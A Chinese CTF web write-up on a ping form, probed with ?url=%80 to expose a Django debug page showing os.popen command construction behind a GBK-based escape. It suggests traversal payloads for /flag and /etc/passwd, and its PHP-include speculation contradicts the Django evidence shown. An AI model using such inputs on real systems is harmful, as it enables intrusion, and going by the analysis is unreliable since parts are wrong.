【CTF-WEB】表單提交(特殊參數:?url=%80和?url=@)(通過GBK編碼繞過實現文件包含讀取flag)

題目

尋找這個單純的網站的flag
在這里插入圖片描述
前端代碼:


<!DOCTYPE html>
<head><title>CAT</title>
</head><body>
<h1>Cloud Automated Testing</h1>
<p>輸入你的域名,例如:loli.club</p>
<form action="index.php" method="GET"><input name="url" type="text"><button>Submit</button>
</form>
<pre><code>
</code></pre>
</body>

漏洞分析

針對可提交文本框,%80的使用

不管輸入任何數字,點擊Submit,都沒有任何反應,唯獨網址處會get一下這個參數

在這里插入圖片描述
那么我們在網址處,把參數換成%80,這回,網頁開始變得不一樣了
在這里插入圖片描述
原理分析:

當訪問 http://223.112.39.132:46185/index.php?url=%80 時,需要從字符編碼、后端處理邏輯和潛在漏洞的角度分析這一請求的意義:

  1. %80 的本質:特殊字符的URL編碼
    %80 是URL編碼后的結果,對應的十六進制值為 0x80(十進制128)。在ASCII編碼中,0x00-0x7F 是標準可見字符(如字母、數字、符號),而 0x80-0xFF 屬于高位ASCII字符(非標準ASCII),在單字節編碼中通常無明確對應字符,更多用于多字節編碼(如UTF-8、GBK等)的擴展。
    在UTF-8編碼中,0x80 本身是無效的單字節字符(UTF-8的單字節范圍僅為 0x00-0x7F0x80 及以上需用多字節表示),因此當服務器以UTF-8解碼 %80 時,會被識別為無效字符
  2. 發送該請求的潛在目的:觸發后端處理漏洞
    輸入 %80 通常是為了測試后端對異常字符的處理邏輯,可能暴露以下漏洞或信息:
    (1)錯誤信息泄露
    若后端未妥善處理無效字符(如 0x80),可能拋出錯誤并泄露關鍵信息。例如:
  • 若后端使用PHP且開啟了錯誤顯示(display_errors = On),可能返回類似 Warning: include(�) failed to open stream: No such file or directory in /var/www/html/index.php on line X 的錯誤。
    • 這類錯誤直接暴露了后端使用 include/require 函數處理 url 參數(即文件包含邏輯),說明 url 參數可能被作為文件路徑傳入文件包含函數,這是典型的文件包含漏洞特征。
  • 錯誤中可能包含服務器路徑(如 /var/www/html/),為后續構造文件路徑(如讀取 /flag/etc/passwd 等)提供依據。
    (2)文件包含漏洞的驗證
    若后端確實通過文件包含函數(如PHP的 include($_GET['url']))處理 url 參數,%80 的作用是測試是否能繞過簡單過濾。例如:
  • 部分過濾邏輯可能僅攔截 ../(路徑穿越字符),但對 0x80 這類特殊字符無處理,此時 %80 可用于確認“文件包含”邏輯的存在(即使暫時無法讀取文件)。
  • 若后續結合路徑穿越(如 ../)+ 特殊字符(如 %80 可能干擾過濾),可能構造出有效路徑(如 ../../../../flag),直接讀取服務器上的 flag 文件。
    (3)編碼處理漏洞
    在部分老舊服務器或框架中,對 0x80 這類高位字符的解碼可能存在缺陷:
  • 例如,某些環境會將 0x80 解析為“空字節”(0x00),而空字節在C語言函數(如 fopen)中會截斷字符串(如 flag.txt%00.jpg 會被解析為 flag.txt)。若 %80 被誤解析為空字節,可能繞過“文件后綴限制”(若存在)。
    總結
    訪問 url=%80 的核心目的是探測后端是否通過文件包含函數處理輸入,并通過錯誤信息確認漏洞類型(如文件包含)。若返回包含 include/require 相關的錯誤,可進一步構造路徑穿越 payload(如 ../../../../flag/etc/passwd 等)讀取敏感文件,最終獲取 flag

針對返回網頁的分析

<!DOCTYPE html>
<html lang="en">
<head><meta http-equiv="content-type" content="text/html; charset=utf-8"><meta name="robots" content="NONE,NOARCHIVE"><title>UnicodeEncodeError at /api/ping</title><style type="text/css">html * { padding:0; margin:0; }body * { padding:10px 20px; }body * * { padding:0; }body { font:small sans-serif; }body>div { border-bottom:1px solid #ddd; }h1 { font-weight:normal; }h2 { margin-bottom:.8em; }h2 span { font-size:80%; color:#666; font-weight:normal; }h3 { margin:1em 0 .5em 0; }h4 { margin:0 0 .5em 0; font-weight: normal; }code, pre { font-size: 100%; white-space: pre-wrap; }table { border:1px solid #ccc; border-collapse: collapse; width:100%; background:white; }tbody td, tbody th { vertical-align:top; padding:2px 3px; }thead th {padding:1px 6px 1px 3px; background:#fefefe; text-align:left;font-weight:normal; font-size:11px; border:1px solid #ddd;}tbody th { width:12em; text-align:right; color:#666; padding-right:.5em; }table.vars { margin:5px 0 2px 40px; }table.vars td, table.req td { font-family:monospace; }table td.code { width:100%; }table td.code pre { overflow:hidden; }table.source th { color:#666; }table.source td { font-family:monospace; white-space:pre; border-bottom:1px solid #eee; }ul.traceback { list-style-type:none; color: #222; }ul.traceback li.frame { padding-bottom:1em; color:#666; }ul.traceback li.user { background-color:#e0e0e0; color:#000 }div.context { padding:10px 0; overflow:hidden; }div.context ol { padding-left:30px; margin:0 10px; list-style-position: inside; }div.context ol li { font-family:monospace; white-space:pre; color:#777; cursor:pointer; padding-left: 2px; }div.context ol li pre { display:inline; }div.context ol.context-line li { color:#505050; background-color:#dfdfdf; padding: 3px 2px; }div.context ol.context-line li span { position:absolute; right:32px; }.user div.context ol.context-line li { background-color:#bbb; color:#000; }.user div.context ol li { color:#666; }div.commands { margin-left: 40px; }div.commands a { color:#555; text-decoration:none; }.user div.commands a { color: black; }#summary { background: #ffc; }#summary h2 { font-weight: normal; color: #666; }#explanation { background:#eee; }#template, #template-not-exist { background:#f6f6f6; }#template-not-exist ul { margin: 0 0 10px 20px; }#template-not-exist .postmortem-section { margin-bottom: 3px; }#unicode-hint { background:#eee; }#traceback { background:#eee; }#requestinfo { background:#f6f6f6; padding-left:120px; }#summary table { border:none; background:transparent; }#requestinfo h2, #requestinfo h3 { position:relative; margin-left:-100px; }#requestinfo h3 { margin-bottom:-1em; }.error { background: #ffc; }.specific { color:#cc3300; font-weight:bold; }h2 span.commands { font-size:.7em;}span.commands a:link {color:#5E5694;}pre.exception_value { font-family: sans-serif; color: #666; font-size: 1.5em; margin: 10px 0 10px 0; }.append-bottom { margin-bottom: 10px; }</style><script type="text/javascript">//<!--function getElementsByClassName(oElm, strTagName, strClassName){// Written by Jonathan Snook, http://www.snook.ca/jon; Add-ons by Robert Nyman, http://www.robertnyman.comvar arrElements = (strTagName == "*" && document.all)? document.all :oElm.getElementsByTagName(strTagName);var arrReturnElements = new Array();strClassName = strClassName.replace(/\-/g, "\-");var oRegExp = new RegExp("(^|\s)" + strClassName + "(\s|$)");var oElement;for(var i=0; i<arrElements.length; i++){oElement = arrElements[i];if(oRegExp.test(oElement.className)){arrReturnElements.push(oElement);}}return (arrReturnElements)}function hideAll(elems) {for (var e = 0; e < elems.length; e++) {elems[e].style.display = 'none';}}window.onload = function() {hideAll(getElementsByClassName(document, 'table', 'vars'));hideAll(getElementsByClassName(document, 'ol', 'pre-context'));hideAll(getElementsByClassName(document, 'ol', 'post-context'));hideAll(getElementsByClassName(document, 'div', 'pastebin'));}function toggle() {for (var i = 0; i < arguments.length; i++) {var e = document.getElementById(arguments[i]);if (e) {e.style.display = e.style.display == 'none' ? 'block': 'none';}}return false;}function varToggle(link, id) {toggle('v' + id);var s = link.getElementsByTagName('span')[0];var uarr = String.fromCharCode(0x25b6);var darr = String.fromCharCode(0x25bc);s.textContent = s.textContent == uarr ? darr : uarr;return false;}function switchPastebinFriendly(link) {s1 = "Switch to copy-and-paste view";s2 = "Switch back to interactive view";link.textContent = link.textContent.trim() == s1 ? s2: s1;toggle('browserTraceback', 'pastebinTraceback');return false;}//--></script></head>
<body>
<div id="summary"><h1>UnicodeEncodeError at /api/ping</h1><pre class="exception_value">&#39;gbk&#39; codec can&#39;t encode character u&#39;\ufffd&#39; in position 0: illegal multibyte sequence</pre><table class="meta"><tr><th>Request Method:</th><td>POST</td></tr><tr><th>Request URL:</th><td>http://127.0.0.1:8000/api/ping</td></tr><tr><th>Django Version:</th><td>1.10.4</td></tr><tr><th>Exception Type:</th><td>UnicodeEncodeError</td></tr><tr><th>Exception Value:</th><td><pre>&#39;gbk&#39; codec can&#39;t encode character u&#39;\ufffd&#39; in position 0: illegal multibyte sequence</pre></td></tr><tr><th>Exception Location:</th><td>/opt/api/dnsapi/utils.py in escape, line 9</td></tr><tr><th>Python Executable:</th><td>/usr/bin/python</td></tr><tr><th>Python Version:</th><td>2.7.12</td></tr><tr><th>Python Path:</th><td><pre>[&#39;/opt/api&#39;,&#39;/usr/lib/python2.7&#39;,&#39;/usr/lib/python2.7/plat-x86_64-linux-gnu&#39;,&#39;/usr/lib/python2.7/lib-tk&#39;,&#39;/usr/lib/python2.7/lib-old&#39;,&#39;/usr/lib/python2.7/lib-dynload&#39;,&#39;/usr/local/lib/python2.7/dist-packages&#39;,&#39;/usr/lib/python2.7/dist-packages&#39;]</pre></td></tr><tr><th>Server time:</th><td>Thu, 17 Jul 2025 04:33:22 +0000</td></tr></table>
</div><div id="unicode-hint"><h2>Unicode error hint</h2><p>The string that could not be encoded/decoded was: <strong></strong></p>
</div><div id="traceback"><h2>Traceback <span class="commands"><a href="#" onclick="return switchPastebinFriendly(this);">Switch to copy-and-paste view</a></span></h2><div id="browserTraceback"><ul class="traceback"><li class="frame django"><code>/usr/local/lib/python2.7/dist-packages/django/core/handlers/exception.py</code> in <code>inner</code><div class="context" id="c139957791782672"><ol start="32" class="pre-context" id="pre139957791782672"><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre>    This decorator is automatically applied to all middleware to ensure that</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre>    no middleware leaks an exception and that the next middleware in the stack</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre>    can rely on getting a response instead of an exception.</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre>    &quot;&quot;&quot;</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre>    @wraps(get_response, assigned=available_attrs(get_response))</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre>    def inner(request):</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre>        try:</pre></li></ol><ol start="39" class="context-line"><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre>response = get_response(request)</pre> <span>...</span></li></ol><ol start='40' class="post-context" id="post139957791782672"><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre>        except Exception as exc:</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre>            response = response_for_exception(request, exc)</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre>        return response</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre>    return inner</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre></pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre></pre></li></ol></div><div class="commands"><a href="#" onclick="return varToggle(this, '139957791782672')"><span>&#x25b6;</span> Local vars</a></div><table class="vars" id="v139957791782672"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>exc</td><td class="code"><pre>UnicodeEncodeError(&#39;gbk&#39;, u&#39;\ufffd&#39;, 0, 1, &#39;illegal multibyte sequence&#39;)</pre></td></tr><tr><td>get_response</td><td class="code"><pre>&lt;bound method WSGIHandler._get_response of &lt;django.core.handlers.wsgi.WSGIHandler object at 0x7f4a78738b10&gt;&gt;</pre></td></tr><tr><td>request</td><td class="code"><pre>&lt;WSGIRequest: POST &#39;/api/ping&#39;&gt;</pre></td></tr></tbody></table></li><li class="frame django"><code>/usr/local/lib/python2.7/dist-packages/django/core/handlers/base.py</code> in <code>_get_response</code><div class="context" id="c139957808042712"><ol start="180" class="pre-context" id="pre139957808042712"><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre>                break</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre></pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre>        if response is None:</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre>            wrapped_callback = self.make_view_atomic(callback)</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre>            try:</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre>                response = wrapped_callback(request, *callback_args, **callback_kwargs)</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre>            except Exception as e:</pre></li></ol><ol start="187" class="context-line"><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre>response = self.process_exception_by_middleware(e, request)</pre> <span>...</span></li></ol><ol start='188' class="post-context" id="post139957808042712"><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre></pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre>        # Complain if the view returned None (a common error).</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre>        if response is None:</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre>            if isinstance(callback, types.FunctionType):    # FBV</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre>                view_name = callback.__name__</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre>            else:                                           # CBV</pre></li></ol></div><div class="commands"><a href="#" onclick="return varToggle(this, '139957808042712')"><span>&#x25b6;</span> Local vars</a></div><table class="vars" id="v139957808042712"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>callback</td><td class="code"><pre>&lt;function ping at 0x7f4a7773dcf8&gt;</pre></td></tr><tr><td>callback_args</td><td class="code"><pre>()</pre></td></tr><tr><td>callback_kwargs</td><td class="code"><pre>{}</pre></td></tr><tr><td>e</td><td class="code"><pre>UnicodeEncodeError(&#39;gbk&#39;, u&#39;\ufffd&#39;, 0, 1, &#39;illegal multibyte sequence&#39;)</pre></td></tr><tr><td>request</td><td class="code"><pre>&lt;WSGIRequest: POST &#39;/api/ping&#39;&gt;</pre></td></tr><tr><td>resolver</td><td class="code"><pre>&lt;RegexURLResolver &#39;api.urls&#39; (None:None) ^/&gt;</pre></td></tr><tr><td>resolver_match</td><td class="code"><pre>ResolverMatch(func=dnsapi.views.ping, args=(), kwargs={}, url_name=None, app_names=[], namespaces=[])</pre></td></tr><tr><td>response</td><td class="code"><pre>None</pre></td></tr><tr><td>self</td><td class="code"><pre>&lt;django.core.handlers.wsgi.WSGIHandler object at 0x7f4a78738b10&gt;</pre></td></tr><tr><td>wrapped_callback</td><td class="code"><pre>&lt;function ping at 0x7f4a7773dcf8&gt;</pre></td></tr></tbody></table></li><li class="frame django"><code>/usr/local/lib/python2.7/dist-packages/django/core/handlers/base.py</code> in <code>_get_response</code><div class="context" id="c139957808043288"><ol start="178" class="pre-context" id="pre139957808043288"><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre>            response = middleware_method(request, callback, callback_args, callback_kwargs)</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre>            if response:</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre>                break</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre></pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre>        if response is None:</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre>            wrapped_callback = self.make_view_atomic(callback)</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre>            try:</pre></li></ol><ol start="185" class="context-line"><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre>response = wrapped_callback(request, *callback_args, **callback_kwargs)</pre> <span>...</span></li></ol><ol start='186' class="post-context" id="post139957808043288"><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre>            except Exception as e:</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre>                response = self.process_exception_by_middleware(e, request)</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre></pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre>        # Complain if the view returned None (a common error).</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre>        if response is None:</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre>            if isinstance(callback, types.FunctionType):    # FBV</pre></li></ol></div><div class="commands"><a href="#" onclick="return varToggle(this, '139957808043288')"><span>&#x25b6;</span> Local vars</a></div><table class="vars" id="v139957808043288"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>callback</td><td class="code"><pre>&lt;function ping at 0x7f4a7773dcf8&gt;</pre></td></tr><tr><td>callback_args</td><td class="code"><pre>()</pre></td></tr><tr><td>callback_kwargs</td><td class="code"><pre>{}</pre></td></tr><tr><td>e</td><td class="code"><pre>UnicodeEncodeError(&#39;gbk&#39;, u&#39;\ufffd&#39;, 0, 1, &#39;illegal multibyte sequence&#39;)</pre></td></tr><tr><td>request</td><td class="code"><pre>&lt;WSGIRequest: POST &#39;/api/ping&#39;&gt;</pre></td></tr><tr><td>resolver</td><td class="code"><pre>&lt;RegexURLResolver &#39;api.urls&#39; (None:None) ^/&gt;</pre></td></tr><tr><td>resolver_match</td><td class="code"><pre>ResolverMatch(func=dnsapi.views.ping, args=(), kwargs={}, url_name=None, app_names=[], namespaces=[])</pre></td></tr><tr><td>response</td><td class="code"><pre>None</pre></td></tr><tr><td>self</td><td class="code"><pre>&lt;django.core.handlers.wsgi.WSGIHandler object at 0x7f4a78738b10&gt;</pre></td></tr><tr><td>wrapped_callback</td><td class="code"><pre>&lt;function ping at 0x7f4a7773dcf8&gt;</pre></td></tr></tbody></table></li><li class="frame user"><code>/opt/api/dnsapi/views.py</code> in <code>wrapper</code><div class="context" id="c139957808043432"><ol start="14" class="pre-context" id="pre139957808043432"><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre>        # 合并 requests.FILES 和 requests.POST</pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre>        for k, v in request.FILES.items():</pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre>            if isinstance(v, InMemoryUploadedFile):</pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre>                v = v.read()</pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre>            request.FILES[k] = v</pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre></pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre>        request.POST.update(request.FILES)</pre></li></ol><ol start="21" class="context-line"><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre>return f(*args, **kwargs)</pre> <span>...</span></li></ol><ol start='22' class="post-context" id="post139957808043432"><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre></pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre>    return wrapper</pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre></pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre></pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre>@process_request</pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre>def ping(request):</pre></li></ol></div><div class="commands"><a href="#" onclick="return varToggle(this, '139957808043432')"><span>&#x25b6;</span> Local vars</a></div><table class="vars" id="v139957808043432"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>args</td><td class="code"><pre>(&lt;WSGIRequest: POST &#39;/api/ping&#39;&gt;,)</pre></td></tr><tr><td>f</td><td class="code"><pre>&lt;function ping at 0x7f4a7773dc80&gt;</pre></td></tr><tr><td>kwargs</td><td class="code"><pre>{}</pre></td></tr><tr><td>request</td><td class="code"><pre>&lt;WSGIRequest: POST &#39;/api/ping&#39;&gt;</pre></td></tr></tbody></table></li><li class="frame user"><code>/opt/api/dnsapi/views.py</code> in <code>ping</code><div class="context" id="c139957808045952"><ol start="23" class="pre-context" id="pre139957808045952"><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre>    return wrapper</pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre></pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre></pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre>@process_request</pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre>def ping(request):</pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre>    # 轉義</pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre>    data = request.POST.get(&#39;url&#39;)</pre></li></ol><ol start="30" class="context-line"><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre>data = escape(data)</pre> <span>...</span></li></ol><ol start='31' class="post-context" id="post139957808045952"><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre>    if not re.match(&#39;^[a-zA-Z0-9\-\./]+$&#39;, data):</pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre>        return HttpResponse(&quot;Invalid URL&quot;)</pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre></pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre>    return HttpResponse(os.popen(&quot;ping -c 1 \&quot;%s\&quot;&quot; % data).read())</pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre></pre></li></ol></div><div class="commands"><a href="#" onclick="return varToggle(this, '139957808045952')"><span>&#x25b6;</span> Local vars</a></div><table class="vars" id="v139957808045952"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>data</td><td class="code"><pre>u&#39;\ufffd&#39;</pre></td></tr><tr><td>request</td><td class="code"><pre>&lt;WSGIRequest: POST &#39;/api/ping&#39;&gt;</pre></td></tr></tbody></table></li><li class="frame user"><code>/opt/api/dnsapi/utils.py</code> in <code>escape</code><div class="context" id="c139957808345456"><ol start="2" class="pre-context" id="pre139957808345456"><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre>    r = &#39;&#39;</pre></li><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre>    for i in range(len(data)):</pre></li><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre>        c = data[i]</pre></li><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre>        if c in (&#39;\\&#39;, &#39;\&#39;&#39;, &#39;&quot;&#39;, &#39;$&#39;, &#39;`&#39;):</pre></li><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre>            r = r + &#39;\\&#39; + c</pre></li><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre>        else:</pre></li><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre>            r = r + c</pre></li></ol><ol start="9" class="context-line"><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre>return r.encode(&#39;gbk&#39;)</pre> <span>...</span></li></ol></div><div class="commands"><a href="#" onclick="return varToggle(this, '139957808345456')"><span>&#x25b6;</span> Local vars</a></div><table class="vars" id="v139957808345456"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>c</td><td class="code"><pre>u&#39;\ufffd&#39;</pre></td></tr><tr><td>data</td><td class="code"><pre>u&#39;\ufffd&#39;</pre></td></tr><tr><td>i</td><td class="code"><pre>0</pre></td></tr><tr><td>r</td><td class="code"><pre>u&#39;\ufffd&#39;</pre></td></tr></tbody></table></li></ul></div><form action="http://dpaste.com/" name="pasteform" id="pasteform" method="post"><div id="pastebinTraceback" class="pastebin"><input type="hidden" name="language" value="PythonConsole"><input type="hidden" name="title"value="UnicodeEncodeError at /api/ping"><input type="hidden" name="source" value="Django Dpaste Agent"><input type="hidden" name="poster" value="Django"><textarea name="content" id="traceback_area" cols="140" rows="25">
Environment:Request Method: POST
Request URL: http://127.0.0.1:8000/api/pingDjango Version: 1.10.4
Python Version: 2.7.12
Installed Applications:
[&#39;django.contrib.admin&#39;,&#39;django.contrib.auth&#39;,&#39;django.contrib.contenttypes&#39;,&#39;django.contrib.sessions&#39;,&#39;django.contrib.messages&#39;,&#39;django.contrib.staticfiles&#39;,&#39;dnsapi&#39;]
Installed Middleware:
[&#39;django.middleware.security.SecurityMiddleware&#39;,&#39;django.contrib.sessions.middleware.SessionMiddleware&#39;,&#39;django.middleware.common.CommonMiddleware&#39;,&#39;django.contrib.auth.middleware.AuthenticationMiddleware&#39;,&#39;django.contrib.messages.middleware.MessageMiddleware&#39;,&#39;django.middleware.clickjacking.XFrameOptionsMiddleware&#39;]Traceback:File "/usr/local/lib/python2.7/dist-packages/django/core/handlers/exception.py" in inner39.             response = get_response(request)File "/usr/local/lib/python2.7/dist-packages/django/core/handlers/base.py" in _get_response187.                 response = self.process_exception_by_middleware(e, request)File "/usr/local/lib/python2.7/dist-packages/django/core/handlers/base.py" in _get_response185.                 response = wrapped_callback(request, *callback_args, **callback_kwargs)File "/opt/api/dnsapi/views.py" in wrapper21.         return f(*args, **kwargs)File "/opt/api/dnsapi/views.py" in ping30.     data = escape(data)File "/opt/api/dnsapi/utils.py" in escape9.     return r.encode(&#39;gbk&#39;)Exception Type: UnicodeEncodeError at /api/ping
Exception Value: &#39;gbk&#39; codec can&#39;t encode character u&#39;\ufffd&#39; in position 0: illegal multibyte sequence
</textarea><br><br><input type="submit" value="Share this traceback on a public website"></div>
</form>
</div><div id="requestinfo"><h2>Request information</h2><h3 id="user-info">USER</h3><p>AnonymousUser</p><h3 id="get-info">GET</h3><p>No GET data</p><h3 id="post-info">POST</h3><table class="req"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>url</td><td class="code"><pre>u&#39;\ufffd&#39;</pre></td></tr></tbody></table><h3 id="files-info">FILES</h3><p>No FILES data</p><h3 id="cookie-info">COOKIES</h3><p>No cookie data</p><h3 id="meta-info">META</h3><table class="req"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>CONTENT_LENGTH</td><td class="code"><pre>&#39;139&#39;</pre></td></tr><tr><td>CONTENT_TYPE</td><td class="code"><pre>&#39;multipart/form-data; boundary=------------------------e9b831ece813d4f5&#39;</pre></td></tr><tr><td>DJANGO_SETTINGS_MODULE</td><td class="code"><pre>&#39;api.settings&#39;</pre></td></tr><tr><td>GATEWAY_INTERFACE</td><td class="code"><pre>&#39;CGI/1.1&#39;</pre></td></tr><tr><td>HOME</td><td class="code"><pre>&#39;/root&#39;</pre></td></tr><tr><td>HOSTNAME</td><td class="code"><pre>&#39;00a9881ade11&#39;</pre></td></tr><tr><td>HTTP_ACCEPT</td><td class="code"><pre>&#39;*/*&#39;</pre></td></tr><tr><td>HTTP_EXPECT</td><td class="code"><pre>&#39;100-continue&#39;</pre></td></tr><tr><td>HTTP_HOST</td><td class="code"><pre>&#39;127.0.0.1:8000&#39;</pre></td></tr><tr><td>PATH</td><td class="code"><pre>&#39;/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&#39;</pre></td></tr><tr><td>PATH_INFO</td><td class="code"><pre>u&#39;/api/ping&#39;</pre></td></tr><tr><td>PWD</td><td class="code"><pre>&#39;/opt/api&#39;</pre></td></tr><tr><td>QUERY_STRING</td><td class="code"><pre>&#39;&#39;</pre></td></tr><tr><td>REMOTE_ADDR</td><td class="code"><pre>&#39;127.0.0.1&#39;</pre></td></tr><tr><td>REMOTE_HOST</td><td class="code"><pre>&#39;&#39;</pre></td></tr><tr><td>REQUEST_METHOD</td><td class="code"><pre>&#39;POST&#39;</pre></td></tr><tr><td>RUN_MAIN</td><td class="code"><pre>&#39;true&#39;</pre></td></tr><tr><td>SCRIPT_NAME</td><td class="code"><pre>u&#39;&#39;</pre></td></tr><tr><td>SERVER_NAME</td><td class="code"><pre>&#39;localhost&#39;</pre></td></tr><tr><td>SERVER_PORT</td><td class="code"><pre>&#39;8000&#39;</pre></td></tr><tr><td>SERVER_PROTOCOL</td><td class="code"><pre>&#39;HTTP/1.1&#39;</pre></td></tr><tr><td>SERVER_SOFTWARE</td><td class="code"><pre>&#39;WSGIServer/0.1 Python/2.7.12&#39;</pre></td></tr><tr><td>TZ</td><td class="code"><pre>&#39;UTC&#39;</pre></td></tr><tr><td>wsgi.errors</td><td class="code"><pre>&lt;open file &#39;&lt;stderr&gt;&#39;, mode &#39;w&#39; at 0x7f4a7b57e1e0&gt;</pre></td></tr><tr><td>wsgi.file_wrapper</td><td class="code"><pre>&#39;&#39;</pre></td></tr><tr><td>wsgi.input</td><td class="code"><pre>&lt;socket._fileobject object at 0x7f4a76c4d9d0&gt;</pre></td></tr><tr><td>wsgi.multiprocess</td><td class="code"><pre>False</pre></td></tr><tr><td>wsgi.multithread</td><td class="code"><pre>True</pre></td></tr><tr><td>wsgi.run_once</td><td class="code"><pre>False</pre></td></tr><tr><td>wsgi.url_scheme</td><td class="code"><pre>&#39;http&#39;</pre></td></tr><tr><td>wsgi.version</td><td class="code"><pre>(1, 0)</pre></td></tr></tbody></table><h3 id="settings-info">Settings</h3><h4>Using settings module <code>api.settings</code></h4><table class="req"><thead><tr><th>Setting</th><th>Value</th></tr></thead><tbody><tr><td>ABSOLUTE_URL_OVERRIDES</td><td class="code"><pre>{}</pre></td></tr><tr><td>ADMINS</td><td class="code"><pre>[]</pre></td></tr><tr><td>ALLOWED_HOSTS</td><td class="code"><pre>[]</pre></td></tr><tr><td>APPEND_SLASH</td><td class="code"><pre>True</pre></td></tr><tr><td>AUTHENTICATION_BACKENDS</td><td class="code"><pre>[u&#39;django.contrib.auth.backends.ModelBackend&#39;]</pre></td></tr><tr><td>AUTH_PASSWORD_VALIDATORS</td><td class="code"><pre>u&#39;********************&#39;</pre></td></tr><tr><td>AUTH_USER_MODEL</td><td class="code"><pre>u&#39;auth.User&#39;</pre></td></tr><tr><td>BASE_DIR</td><td class="code"><pre>&#39;/opt/api&#39;</pre></td></tr><tr><td>CACHES</td><td class="code"><pre>{u&#39;default&#39;: {u&#39;BACKEND&#39;: u&#39;django.core.cache.backends.locmem.LocMemCache&#39;}}</pre></td></tr><tr><td>CACHE_MIDDLEWARE_ALIAS</td><td class="code"><pre>u&#39;default&#39;</pre></td></tr><tr><td>CACHE_MIDDLEWARE_KEY_PREFIX</td><td class="code"><pre>u&#39;********************&#39;</pre></td></tr><tr><td>CACHE_MIDDLEWARE_SECONDS</td><td class="code"><pre>600</pre></td></tr><tr><td>CSRF_COOKIE_AGE</td><td 